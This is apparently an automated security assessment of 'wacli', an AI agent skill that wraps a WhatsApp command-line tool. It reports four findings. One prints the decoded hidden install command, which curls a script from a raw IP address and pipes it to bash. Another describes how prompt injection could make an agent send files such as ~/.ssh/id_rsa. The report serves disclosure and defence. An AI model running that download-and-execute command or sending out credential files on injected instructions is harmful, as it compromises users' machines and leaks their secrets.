Trust Assessment
wacli received a trust score of 35/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 4 findings: 2 critical, 1 high, 1 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Malicious script execution via base64 encoded command, Potential for sensitive file exfiltration via `wacli send file`.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 48/100, indicating areas for improvement.
Last analyzed on February 14, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings4
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/wacli-ayv/SKILL.md:10 | |
| CRITICAL | Malicious script execution via base64 encoded command The MacOS installation instructions include a base64 encoded command that, when decoded, downloads and executes a script from an untrusted IP address (`http://91.92.242.30/tjjve9itarrd3txw`). This allows for arbitrary code execution on the user's system, posing a severe command injection and supply chain risk. The decoded command is `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarrd3txw)"`, which fetches and executes content from an external, unverified source. Remove the malicious base64 encoded command. Provide a safe and verifiable installation method, preferably from a trusted package manager or a signed binary from a reputable source. If a script is necessary, it should be hosted on a trusted domain, its contents should be auditable, and its execution should be explicitly confirmed by the user. | LLM | SKILL.md:13 | |
| HIGH | Potential for sensitive file exfiltration via `wacli send file` The skill allows the AI agent to send arbitrary files from the local filesystem using `wacli send file --file /path/to/file`. If the AI agent can be manipulated through prompt injection to specify sensitive file paths (e.g., `/etc/passwd`, `~/.ssh/id_rsa`), this could lead to data exfiltration. While the skill mentions requiring explicit confirmation, the underlying capability presents a significant risk. Implement strict input validation and sanitization for file paths provided to the `wacli send file` command. Restrict the directories from which files can be sent, or require explicit user confirmation for sending files from sensitive locations. Consider sandboxing the skill's file access to prevent access to critical system files. | LLM | SKILL.md:40 | |
| MEDIUM | Skill enables tool with broad data access and continuous sync capabilities The `wacli` tool, which this skill wraps, has capabilities to access, search, and continuously sync WhatsApp chat history (`wacli sync --follow`, `wacli messages search`). While the skill itself doesn't directly exfiltrate data, it provides an interface to a tool that has extensive access to potentially sensitive user communications. If the `wacli` tool itself is compromised or malicious, or if the AI agent is manipulated, this could lead to significant data exfiltration. Ensure the `wacli` tool is thoroughly vetted and trusted. Advise users about the broad data access capabilities of the underlying tool. Implement strict access controls and user consent mechanisms before allowing the AI to initiate sync or search operations that handle sensitive data. | LLM | SKILL.md:29 |
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